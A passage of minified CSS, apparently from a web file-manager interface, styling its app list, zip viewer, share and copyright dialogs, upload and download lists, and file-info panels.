.168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center 